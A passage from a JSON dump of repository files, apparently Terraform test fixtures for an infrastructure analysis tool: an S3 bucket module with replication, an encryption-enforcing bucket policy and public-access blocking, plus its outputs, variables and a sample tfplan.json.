cors_rule.value.expose_headers\n      max_age_seconds = cors_rule.value.max_age_seconds\n    }\n  }\n\n  dynamic \"grant\" {\n    for_each = try(length(var.grants), 0) == 0 || try(length(var.acl), 0) > 0 ? [] : var.grants\n\n    content {\n      id          = grant.value.id\n      type        = grant.value.type\n      permissions = grant.value.permissions\n      uri         = grant.value.uri\n    }\n  }\n\n  dynamic \"replication_configuration\" {\n    for_each = var.s3_replication_enabled ? [1] : []\n\n    content {\n      role = aws_iam_role.replication[0].arn\n\n      dynamic \"rules\" {\n        for_each = var.replication_rules == null ? [] : var.replication_rules\n\n        content {\n          id       = rules.value.id\n          priority = try(rules.value.priority, 0)\n          prefix   = try(rules.value.prefix, null)\n          status   = try(rules.value.status, null)\n\n          destination {\n            bucket             = var.s3_replica_bucket_arn\n            storage_class      = try(rules.value.destination.storage_class, \"STANDARD\")\n            replica_kms_key_id = try(rules.value.destination.replica_kms_key_id, null)\n            account_id         = try(rules.value.destination.account_id, null)\n\n            dynamic \"access_control_translation\" {\n              for_each = try(rules.value.destination.access_control_translation.owner, null) == null ? [] : [rules.value.destination.access_control_translation.owner]\n\n              content {\n                owner = access_control_translation.value\n              }\n            }\n          }\n\n          dynamic \"source_selection_criteria\" {\n            for_each = try(rules.value.source_selection_criteria.sse_kms_encrypted_objects.enabled, null) == null ? [] : [rules.value.source_selection_criteria.sse_kms_encrypted_objects.enabled]\n\n            content {\n              sse_kms_encrypted_objects {\n                enabled = source_selection_criteria.value\n              }\n            }\n          }\n\n          dynamic \"filter\" {\n            for_each = try(rules.value.filter, null) == null ? [] : [rules.value.filter]\n\n            content {\n              prefix = try(filter.value.prefix, null)\n              tags   = try(filter.value.tags, {})\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\nmodule \"s3_user\" {\n  source       = \"git::https://github.com/cloudposse/terraform-aws-iam-s3-user.git?ref=tags/0.11.0\"\n  enabled      = module.this.enabled && var.user_enabled ? true : false\n  s3_actions   = var.allowed_bucket_actions\n  s3_resources = [\"${join(\"\", aws_s3_bucket.default.*.arn)}/*\", join(\"\", aws_s3_bucket.default.*.arn)]\n\n  context = module.this.context\n}\n\ndata \"aws_partition\" \"current\" {}\n\ndata \"aws_iam_policy_document\" \"bucket_policy\" {\n  count = module.this.enabled && var.allow_encrypted_uploads_only ? 1 : 0\n\n  statement {\n    sid       = \"DenyIncorrectEncryptionHeader\"\n    effect    = \"Deny\"\n    actions   = [\"s3:PutObject\"]\n    resources = [\"arn:${data.aws_partition.current.partition}:s3:::${join(\"\", aws_s3_bucket.default.*.id)}/*\"]\n\n    principals {\n      identifiers = [\"*\"]\n      type        = \"*\"\n    }\n\n    condition {\n      test     = \"StringNotEquals\"\n      values   = [var.sse_algorithm]\n      variable = \"s3:x-amz-server-side-encryption\"\n    }\n  }\n\n  statement {\n    sid       = \"DenyUnEncryptedObjectUploads\"\n    effect    = \"Deny\"\n    actions   = [\"s3:PutObject\"]\n    resources = [\"arn:${data.aws_partition.current.partition}:s3:::${join(\"\", aws_s3_bucket.default.*.id)}/*\"]\n\n    principals {\n      identifiers = [\"*\"]\n      type        = \"*\"\n    }\n\n    condition {\n      test     = \"Null\"\n      values   = [\"true\"]\n      variable = \"s3:x-amz-server-side-encryption\"\n    }\n  }\n}\n\nresource \"aws_s3_bucket_policy\" \"default\" {\n  count      = module.this.enabled && var.allow_encrypted_uploads_only ? 1 : 0\n  bucket     = join(\"\", aws_s3_bucket.default.*.id)\n  policy     = join(\"\", data.aws_iam_policy_document.bucket_policy.*.json)\n  depends_on = [aws_s3_bucket_public_access_block.default]\n}\n\n# Refer to the terraform documentation on s3_bucket_public_access_block at\n# https://www.terraform.io/docs/providers/aws/r/s3_bucket_public_access_block.html\n# for the nuances of the blocking options\nresource \"aws_s3_bucket_public_access_block\" \"default\" {\n  count  = module.this.enabled ? 1 : 0\n  bucket = join(\"\", aws_s3_bucket.default.*.id)\n\n  block_public_acls       = var.block_public_acls\n  block_public_policy     = var.block_public_policy\n  ignore_public_acls      = var.ignore_public_acls\n  restrict_public_buckets = var.restrict_public_buckets\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules-and-vars/outputs.tf",
    "content": "output \"bucket_domain_name\" {\n  value       = module.this.enabled ? join(\"\", aws_s3_bucket.default.*.bucket_domain_name) : \"\"\n  description = \"FQDN of bucket\"\n}\n\noutput \"bucket_regional_domain_name\" {\n  value       = module.this.enabled ? join(\"\", aws_s3_bucket.default.*.bucket_regional_domain_name) : \"\"\n  description = \"The bucket region-specific domain name\"\n}\n\noutput \"bucket_id\" {\n  value       = module.this.enabled ? join(\"\", aws_s3_bucket.default.*.id) : \"\"\n  description = \"Bucket Name (aka ID)\"\n}\n\noutput \"bucket_arn\" {\n  value       = module.this.enabled ? join(\"\", aws_s3_bucket.default.*.arn) : \"\"\n  description = \"Bucket ARN\"\n}\n\noutput \"bucket_region\" {\n  value       = module.this.enabled ? join(\"\", aws_s3_bucket.default.*.region) : \"\"\n  description = \"Bucket region\"\n}\n\noutput \"enabled\" {\n  value       = module.this.enabled\n  description = \"Is module enabled\"\n}\n\noutput \"user_enabled\" {\n  value       = var.user_enabled\n  description = \"Is user creation enabled\"\n}\n\noutput \"user_name\" {\n  value       = module.s3_user.user_name\n  description = \"Normalized IAM user name\"\n}\n\noutput \"user_arn\" {\n  value       = module.s3_user.user_arn\n  description = \"The ARN assigned by AWS for the user\"\n}\n\noutput \"user_unique_id\" {\n  value       = module.s3_user.user_unique_id\n  description = \"The user unique ID assigned by AWS\"\n}\n\noutput \"access_key_id\" {\n  sensitive   = true\n  value       = module.s3_user.access_key_id\n  description = \"The access key ID\"\n}\n\noutput \"secret_access_key\" {\n  sensitive   = true\n  value       = module.s3_user.secret_access_key\n  description = \"The secret access key. This will be written to the state file in plain-text\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules-and-vars/replication.tf",
    "content": "resource \"aws_iam_role\" \"replication\" {\n  count = module.this.enabled && var.s3_replication_enabled ? 1 : 0\n\n  name               = format(\"%s-replication\", module.this.id)\n  assume_role_policy = data.aws_iam_policy_document.replication_sts[0].json\n}\n\ndata \"aws_iam_policy_document\" \"replication_sts\" {\n  count = module.this.enabled && var.s3_replication_enabled ? 1 : 0\n\n  statement {\n    sid    = \"AllowPrimaryToAssumeServiceRole\"\n    effect = \"Allow\"\n    actions = [\n      \"sts:AssumeRole\"\n    ]\n\n    principals {\n      type        = \"Service\"\n      identifiers = [\"s3.amazonaws.com\"]\n    }\n  }\n}\n\nresource \"aws_iam_policy\" \"replication\" {\n  count = module.this.enabled && var.s3_replication_enabled ? 1 : 0\n\n  name   = format(\"%s-replication\", module.this.id)\n  policy = data.aws_iam_policy_document.replication[0].json\n}\n\ndata \"aws_iam_policy_document\" \"replication\" {\n  count = module.this.enabled && var.s3_replication_enabled ? 1 : 0\n\n  statement {\n    sid    = \"AllowPrimaryToGetReplicationConfiguration\"\n    effect = \"Allow\"\n    actions = [\n      \"s3:Get*\",\n      \"s3:ListBucket\"\n    ]\n    resources = [\n      aws_s3_bucket.default[0].arn,\n      \"${aws_s3_bucket.default[0].arn}/*\"\n    ]\n  }\n\n  statement {\n    sid    = \"AllowPrimaryToReplicate\"\n    effect = \"Allow\"\n    actions = [\n      \"s3:ReplicateObject\",\n      \"s3:ReplicateDelete\",\n      \"s3:ReplicateTags\",\n      \"s3:GetObjectVersionTagging\"\n    ]\n\n    resources = [\"${var.s3_replica_bucket_arn}/*\"]\n  }\n}\n\nresource \"aws_iam_role_policy_attachment\" \"replication\" {\n  count      = module.this.enabled && var.s3_replication_enabled ? 1 : 0\n  role       = aws_iam_role.replication[0].name\n  policy_arn = aws_iam_policy.replication[0].arn\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules-and-vars/variables.tf",
    "content": "variable \"acl\" {\n  type        = string\n  default     = \"private\"\n  description = \"The [canned ACL](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl) to apply. We recommend `private` to avoid exposing sensitive information. Conflicts with `grants`.\"\n}\n\nvariable \"grants\" {\n  type = list(object({\n    id          = string\n    type        = string\n    permissions = list(string)\n    uri         = string\n  }))\n  default = null\n\n  description = \"An ACL policy grant. Conflicts with `acl`. Set `acl` to `null` to use this.\"\n}\n\nvariable \"policy\" {\n  type        = string\n  default     = \"\"\n  description = \"A valid bucket policy JSON document. Note that if the policy document is not specific enough (but still valid), Terraform may view the policy as constantly changing in a terraform plan. In this case, please make sure you use the verbose/specific version of the policy\"\n}\n\nvariable \"force_destroy\" {\n  type        = bool\n  default     = false\n  description = \"A boolean string that indicates all objects should be deleted from the bucket so that the bucket can be destroyed without error. These objects are not recoverable\"\n}\n\nvariable \"versioning_enabled\" {\n  type        = bool\n  default     = false\n  description = \"A state of versioning. Versioning is a means of keeping multiple variants of an object in the same bucket\"\n}\n\nvariable \"logging\" {\n  type = object({\n    bucket_name = string\n    prefix      = string\n  })\n  default     = null\n  description = \"Bucket access logging configuration.\"\n}\n\nvariable \"sse_algorithm\" {\n  type        = string\n  default     = \"AES256\"\n  description = \"The server-side encryption algorithm to use. Valid values are `AES256` and `aws:kms`\"\n}\n\nvariable \"kms_master_key_arn\" {\n  type        = string\n  default     = \"\"\n  description = \"The AWS KMS master key ARN used for the `SSE-KMS` encryption. This can only be used when you set the value of `sse_algorithm` as `aws:kms`. The default aws/s3 AWS KMS master key is used if this element is absent while the `sse_algorithm` is `aws:kms`\"\n}\n\nvariable \"user_enabled\" {\n  type        = bool\n  default     = false\n  description = \"Set to `true` to create an IAM user with permission to access the bucket\"\n}\n\nvariable \"allowed_bucket_actions\" {\n  type        = list(string)\n  default     = [\"s3:PutObject\", \"s3:PutObjectAcl\", \"s3:GetObject\", \"s3:DeleteObject\", \"s3:ListBucket\", \"s3:ListBucketMultipartUploads\", \"s3:GetBucketLocation\", \"s3:AbortMultipartUpload\"]\n  description = \"List of actions the user is permitted to perform on the S3 bucket\"\n}\n\nvariable \"allow_encrypted_uploads_only\" {\n  type        = bool\n  default     = false\n  description = \"Set to `true` to prevent uploads of unencrypted objects to S3 bucket\"\n}\n\nvariable \"lifecycle_rule_enabled\" {\n  type        = bool\n  default     = false\n  description = \"Enable or disable lifecycle rule\"\n}\n\nvariable \"prefix\" {\n  type        = string\n  default     = \"\"\n  description = \"Prefix identifying one or more objects to which the rule applies\"\n}\n\nvariable \"noncurrent_version_transition_days\" {\n  type        = number\n  default     = 30\n  description = \"Number of days to persist in the standard storage tier before moving to the glacier tier infrequent access tier\"\n}\n\nvariable \"noncurrent_version_expiration_days\" {\n  type        = number\n  default     = 90\n  description = \"Specifies when noncurrent object versions expire\"\n}\n\nvariable \"cors_rule_inputs\" {\n  type = list(object({\n    allowed_headers = list(string)\n    allowed_methods = list(string)\n    allowed_origins = list(string)\n    expose_headers  = list(string)\n    max_age_seconds = number\n  }))\n  default = null\n\n  description = \"Specifies the allowed headers, methods, origins and exposed headers when using CORS on this bucket\"\n}\n\nvariable \"standard_transition_days\" {\n  type        = number\n  default     = 30\n  description = \"Number of days to persist in the standard storage tier before moving to the infrequent access tier\"\n}\n\nvariable \"glacier_transition_days\" {\n  type        = number\n  default     = 60\n  description = \"Number of days after which to move the data to the glacier storage tier\"\n}\n\nvariable \"enable_glacier_transition\" {\n  type        = bool\n  default     = true\n  description = \"Enables the transition to AWS Glacier which can cause unnecessary costs for huge amount of small files\"\n}\n\nvariable \"enable_standard_ia_transition\" {\n  type        = bool\n  default     = false\n  description = \"Enables the transition to STANDARD_IA\"\n}\n\nvariable \"expiration_days\" {\n  type        = number\n  default     = 90\n  description = \"Number of days after which to expunge the objects\"\n}\n\nvariable \"abort_incomplete_multipart_upload_days\" {\n  type        = number\n  default     = 5\n  description = \"Maximum time (in days) that you want to allow multipart uploads to remain in progress\"\n}\n\nvariable \"lifecycle_tags\" {\n  type        = map(string)\n  description = \"Tags filter. Used to manage object lifecycle events\"\n  default     = {}\n}\n\nvariable \"block_public_acls\" {\n  type        = bool\n  default     = true\n  description = \"Set to `false` to disable the blocking of new public access lists on the bucket\"\n}\n\nvariable \"block_public_policy\" {\n  type        = bool\n  default     = true\n  description = \"Set to `false` to disable the blocking of new public policies on the bucket\"\n}\n\nvariable \"ignore_public_acls\" {\n  type        = bool\n  default     = true\n  description = \"Set to `false` to disable the ignoring of public access lists on the bucket\"\n}\n\nvariable \"restrict_public_buckets\" {\n  type        = bool\n  default     = true\n  description = \"Set to `false` to disable the restricting of making the bucket public\"\n}\n\nvariable \"s3_replication_enabled\" {\n  type        = bool\n  default     = false\n  description = \"Set this to true and specify `s3_replica_bucket_arn` to enable replication. `versioning_enabled` must also be `true`.\"\n}\n\nvariable \"s3_replica_bucket_arn\" {\n  type        = string\n  default     = \"\"\n  description = \"The ARN of the S3 replica bucket (destination)\"\n}\n\nvariable \"replication_rules\" {\n  # type = list(object({\n  #   id          = string\n  #   priority    = number\n  #   prefix      = string\n  #   status      = string\n  #   destination = object({\n  #     storage_class              = string\n  #     replica_kms_key_id         = string\n  #     access_control_translation = object({\n  #       owner = string\n  #     })\n  #     account_id                 = string\n  #   })\n  #   source_selection_criteria = object({\n  #     sse_kms_encrypted_objects = object({\n  #       enabled = bool\n  #     })\n  #   })\n  #   filter = object({\n  #     prefix = string\n  #     tags = map(string)\n  #   })\n  # }))\n\n  type        = list(any)\n  default     = null\n  description = \"Specifies the replication rules if S3 bucket replication is enabled\"\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules_edges_tfplan/s3module.tf",
    "content": "module \"s3-bucket-1\" {\n  source  = \"terraform-aws-modules/s3-bucket/aws\"\n  version = \"4.0.1\"\n}\n\nmodule \"s3-bucket-2\" {\n  source  = \"terraform-aws-modules/s3-bucket/aws\"\n  version = \"4.0.1\"\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules_edges_tfplan/tfplan.json",
    "content": "{\n  \"format_version\": \"0.2\",\n  \"terraform_version\": \"1.0.7\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"child_modules\": [\n        {\n          \"address\": \"module.test\",\n          \"child_modules\": [\n            {\n              \"resources\": [\n                {\n                  \"address\": \"module.test.module.s3-bucket-1.aws_s3_bucket.this[0]\",\n                  \"mode\": \"managed\",\n                  \"type\": \"aws_s3_bucket\",\n                  \"name\": \"this\",\n                  \"index\": 0,\n                  \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                  \"schema_version\": 0,\n                  \"values\": {\n                    \"force_destroy\": false,\n                    \"object_lock_enabled\": false,\n                    \"tags\": null,\n                    \"timeouts\": null\n                  },\n                  \"sensitive_values\": {\n                    \"cors_rule\": [],\n                    \"grant\": [],\n                    \"lifecycle_rule\": [],\n                    \"logging\": [],\n                    \"object_lock_configuration\": [],\n                    \"replication_configuration\": [],\n                    \"server_side_encryption_configuration\": [],\n                    \"tags_all\": {},\n                    \"versioning\": [],\n                    \"website\": []\n                  }\n                },\n                {\n                  \"address\": \"module.test.module.s3-bucket-1.aws_s3_bucket_public_access_block.this[0]\",\n                  \"mode\": \"managed\",\n                  \"type\": \"aws_s3_bucket_public_access_block\",\n                  \"name\": \"this\",\n                  \"index\": 0,\n                  \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                  \"schema_version\": 0,\n                  \"values\": {\n                    \"block_public_acls\": true,\n                    \"block_public_policy\": true,\n                    \"ignore_public_acls\": true,\n                    \"restrict_public_buckets\": true\n                  },\n                  \"sensitive_values\": {}\n                }\n              ],\n              \"address\": \"module.test.module.s3-bucket-1\"\n            },\n            {\n              \"resources\": [\n                {\n                  \"address\": \"module.test.module.s3-bucket-2.aws_s3_bucket.this[0]\",\n                  \"mode\": \"managed\",\n                  \"type\": \"aws_s3_bucket\",\n                  \"name\": \"this\",\n                  \"index\": 0,\n                  \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                  \"schema_version\": 0,\n                  \"values\": {\n                    \"force_destroy\": false,\n                    \"object_lock_enabled\": false,\n                    \"tags\": null,\n                    \"timeouts\": null\n                  },\n                  \"sensitive_values\": {\n                    \"cors_rule\": [],\n                    \"grant\": [],\n                    \"lifecycle_rule\": [],\n                    \"logging\": [],\n                    \"object_lock_configuration\": [],\n                    \"replication_configuration\": [],\n                    \"server_side_encryption_configuration\": [],\n                    \"tags_all\": {},\n                    \"versioning\": [],\n                    \"website\": []\n                  }\n                },\n                {\n                  \"address\": \"module.test.module.s3-bucket-2.aws_s3_bucket_public_access_block.this[0]\",\n                  \"mode\": \"managed\",\n                  \"type\": \"aws_s3_bucket_public_access_block\",\n                  \"name\": \"this\",\n                  \"index\": 0,\n                  \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                  \"schema_version\": 0,\n                  \"values\": {\n                    \"block_public_acls\": true,\n                    \"block_public_policy\": true,\n                    \"ignore_public_acls\": true,\n                    \"restrict_public_buckets\": true\n                  },\n                  \"sensitive_values\": {}\n                }\n              ],\n              \"address\": \"module.test.module.s3-bucket-2\"\n            }\n          ]\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"module.test.module.s3-bucket-1.aws_s3_bucket.this[0]\",\n      \"module_address\": \"module.test.module.s3-bucket-1\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"this\",\n      \"index\": 0,\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"force_destroy\": false,\n          \"object_lock_enabled\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"acl\": true,\n          \"arn\": true,\n          \"bucket\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_prefix\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": true,\n          \"grant\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": true,\n          \"logging\": true,\n          \"object_lock_configuration\": true,\n          \"policy\": true,\n          \"region\": true,\n          \"replication_configuration\": true,\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": true,\n          \"tags_all\": true,\n          \"versioning\": true,\n          \"website\": true,\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags_all\": {},\n          \"versioning\": [],\n          \"website\": []\n        }\n      }\n    },\n    {\n      \"address\": \"module.test.module.s3-bucket-1.aws_s3_bucket_public_access_block.this[0]\",\n      \"module_address\": \"module.test.module.s3-bucket-1\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket_public_access_block\",\n      \"name\": \"this\",\n      \"index\": 0,\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"block_public_acls\": true,\n          \"block_public_policy\": true,\n          \"ignore_public_acls\": true,\n          \"restrict_public_buckets\": true\n        },\n        \"after_unknown\": {\n          \"bucket\": true,\n          \"id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    },\n    {\n      \"address\": \"module.test.module.s3-bucket-2.aws_s3_bucket.this[0]\",\n      \"module_address\": \"module.test.module.s3-bucket-2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket\",\n      \"name\": \"this\",\n      \"index\": 0,\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"force_destroy\": false,\n          \"object_lock_enabled\": false,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"acceleration_status\": true,\n          \"acl\": true,\n          \"arn\": true,\n          \"bucket\": true,\n          \"bucket_domain_name\": true,\n          \"bucket_prefix\": true,\n          \"bucket_regional_domain_name\": true,\n          \"cors_rule\": true,\n          \"grant\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"lifecycle_rule\": true,\n          \"logging\": true,\n          \"object_lock_configuration\": true,\n          \"policy\": true,\n          \"region\": true,\n          \"replication_configuration\": true,\n          \"request_payer\": true,\n          \"server_side_encryption_configuration\": true,\n          \"tags_all\": true,\n          \"versioning\": true,\n          \"website\": true,\n          \"website_domain\": true,\n          \"website_endpoint\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"cors_rule\": [],\n          \"grant\": [],\n          \"lifecycle_rule\": [],\n          \"logging\": [],\n          \"object_lock_configuration\": [],\n          \"replication_configuration\": [],\n          \"server_side_encryption_configuration\": [],\n          \"tags_all\": {},\n          \"versioning\": [],\n          \"website\": []\n        }\n      }\n    },\n    {\n      \"address\": \"module.test.module.s3-bucket-2.aws_s3_bucket_public_access_block.this[0]\",\n      \"module_address\": \"module.test.module.s3-bucket-2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_s3_bucket_public_access_block\",\n      \"name\": \"this\",\n      \"index\": 0,\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"block_public_acls\": true,\n          \"block_public_policy\": true,\n          \"ignore_public_acls\": true,\n          \"restrict_public_buckets\": true\n        },\n        \"after_unknown\": {\n          \"bucket\": true,\n          \"id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    }\n  ],\n  \"prior_state\": {\n    \"format_version\": \"0.2\",\n    \"terraform_version\": \"1.0.7\",\n    \"values\": {\n      \"root_module\": {\n        \"child_modules\": [\n          {\n            \"address\": \"module.test\",\n            \"child_modules\": [\n              {\n                \"resources\": [\n                  {\n                    \"address\": \"module.test.module.s3-bucket-1.data.aws_caller_identity.current\",\n                    \"mode\": \"data\",\n                    \"type\": \"aws_caller_identity\",\n                    \"name\": \"current\",\n                    \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                    \"schema_version\": 0,\n                    \"values\": {\n                      \"account_id\": \"101860328116\",\n                      \"arn\": \"arn:aws:iam::101860328116:user/atlantis\",\n                      \"id\": \"101860328116\",\n                      \"user_id\": \"AIDARPN2ZIK2PHMJSNYXG\"\n                    },\n                    \"sensitive_values\": {}\n                  },\n                  {\n                    \"address\": \"module.test.module.s3-bucket-1.data.aws_partition.current\",\n                    \"mode\": \"data\",\n                    \"type\": \"aws_partition\",\n                    \"name\": \"current\",\n                    \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                    \"schema_version\": 0,\n                    \"values\": {\n                      \"dns_suffix\": \"amazonaws.com\",\n                      \"id\": \"aws\",\n                      \"partition\": \"aws\",\n                      \"reverse_dns_prefix\": \"com.amazonaws\"\n                    },\n                    \"sensitive_values\": {}\n                  },\n                  {\n                    \"address\": \"module.test.module.s3-bucket-1.data.aws_region.current\",\n                    \"mode\": \"data\",\n                    \"type\": \"aws_region\",\n                    \"name\": \"current\",\n                    \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                    \"schema_version\": 0,\n                    \"values\": {\n                      \"description\": \"Europe (Frankfurt)\",\n                      \"endpoint\": \"ec2.eu-central-1.amazonaws.com\",\n                      \"id\": \"eu-central-1\",\n                      \"name\": \"eu-central-1\"\n                    },\n                    \"sensitive_values\": {}\n                  }\n                ],\n                \"address\": \"module.test.module.s3-bucket-1\"\n              },\n              {\n                \"resources\": [\n                  {\n                    \"address\": \"module.test.module.s3-bucket-2.data.aws_caller_identity.current\",\n                    \"mode\": \"data\",\n                    \"type\": \"aws_caller_identity\",\n                    \"name\": \"current\",\n                    \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                    \"schema_version\": 0,\n                    \"values\": {\n                      \"account_id\": \"101860328116\",\n                      \"arn\": \"arn:aws:iam::101860328116:user/atlantis\",\n                      \"id\": \"101860328116\",\n                      \"user_id\": \"AIDARPN2ZIK2PHMJSNYXG\"\n                    },\n                    \"sensitive_values\": {}\n                  },\n                  {\n                    \"address\": \"module.test.module.s3-bucket-2.data.aws_partition.current\",\n                    \"mode\": \"data\",\n                    \"type\": \"aws_partition\",\n                    \"name\": \"current\",\n                    \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                    \"schema_version\": 0,\n                    \"values\": {\n                      \"dns_suffix\": \"amazonaws.com\",\n                      \"id\": \"aws\",\n                      \"partition\": \"aws\",\n                      \"reverse_dns_prefix\": \"com.amazonaws\"\n                    },\n                    \"sensitive_values\": {}\n                  },\n                  {\n                    \"address\": \"module.test.module.s3-bucket-2.data.aws_region.current\",\n                    \"mode\": \"data\",\n                    \"type\": \"aws_region\",\n                    \"name\": \"current\",\n                    \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                    \"schema_version\": 0,\n                    \"values\": {\n                      \"description\": \"Europe (Frankfurt)\",\n                      \"endpoint\": \"ec2.eu-central-1.amazonaws.com\",\n                      \"id\": \"eu-central-1\",\n                      \"name\": \"eu-central-1\"\n                    },\n                    \"sensitive_values\": {}\n                  }\n                ],\n                \"address\": \"module.test.module.s3-bucket-2\"\n              }\n            ]\n          }\n        ]\n      }\n    }\n  },\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"expressions\": {\n          \"profile\": {\n            \"constant_value\": \"razorpay-stage\"\n          },\n          \"region\": {\n            \"constant_value\": \"eu-central-1\"\n          }\n        }\n      },\n      \"module.s3-bucket-1:aws\": {\n        \"name\": \"aws\",\n        \"version_constraint\": \">= 5.27.0\",\n        \"module_address\": \"module.s3-bucket-1\"\n      },\n      \"module.s3-bucket-2:aws\": {\n        \"name\": \"aws\",\n        \"version_constraint\": \">= 5.27.0\",\n        \"module_address\": \"module.s3-bucket-2\"\n      }\n    },\n    \"root_module\": {\n      \"module_calls\": {\n        \"test\": {\n          \"source\": \"./modules/test\",\n          \"module\": {\n            \"module_calls\": {\n              \"s3-bucket-1\": {\n                \"source\": \"terraform-aws-modules/s3-bucket/aws\",\n                \"module\": {\n                  \"outputs\": {\n                    \"s3_bucket_arn\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket.this[0].arn\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"description\": \"The ARN of the bucket. Will be of format arn:aws:s3:::bucketname.\"\n                    },\n                    \"s3_bucket_bucket_domain_name\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket.this[0].bucket_domain_name\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"description\": \"The bucket domain name. Will be of format bucketname.s3.amazonaws.com.\"\n                    },\n                    \"s3_bucket_bucket_regional_domain_name\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket.this[0].bucket_regional_domain_name\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"description\": \"The bucket region-specific domain name. The bucket domain name including the region name, please refer here for format. Note: The AWS CloudFront allows specifying S3 region-specific endpoint when creating S3 origin, it will prevent redirect issues from CloudFront to S3 Origin URL.\"\n                    },\n                    \"s3_bucket_hosted_zone_id\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket.this[0].hosted_zone_id\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"description\": \"The Route 53 Hosted Zone ID for this bucket's region.\"\n                    },\n                    \"s3_bucket_id\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket_policy.this[0].id\",\n                          \"aws_s3_bucket_policy.this[0]\",\n                          \"aws_s3_bucket_policy.this\",\n                          \"aws_s3_bucket.this[0].id\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"description\": \"The name of the bucket.\"\n                    },\n                    \"s3_bucket_lifecycle_configuration_rules\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket_lifecycle_configuration.this[0].rule\",\n                          \"aws_s3_bucket_lifecycle_configuration.this[0]\",\n                          \"aws_s3_bucket_lifecycle_configuration.this\"\n                        ]\n                      },\n                      \"description\": \"The lifecycle rules of the bucket, if the bucket is configured with lifecycle rules. If not, this will be an empty string.\"\n                    },\n                    \"s3_bucket_policy\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket_policy.this[0].policy\",\n                          \"aws_s3_bucket_policy.this[0]\",\n                          \"aws_s3_bucket_policy.this\"\n                        ]\n                      },\n                      \"description\": \"The policy of the bucket, if the bucket is configured with a policy. If not, this will be an empty string.\"\n                    },\n                    \"s3_bucket_region\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket.this[0].region\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"description\": \"The AWS region this bucket resides in.\"\n                    },\n                    \"s3_bucket_website_domain\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket_website_configuration.this[0].website_domain\",\n                          \"aws_s3_bucket_website_configuration.this[0]\",\n                          \"aws_s3_bucket_website_configuration.this\"\n                        ]\n                      },\n                      \"description\": \"The domain of the website endpoint, if the bucket is configured with a website. If not, this will be an empty string. This is used to create Route 53 alias records.\"\n                    },\n                    \"s3_bucket_website_endpoint\": {\n                      \"expression\": {\n                        \"references\": 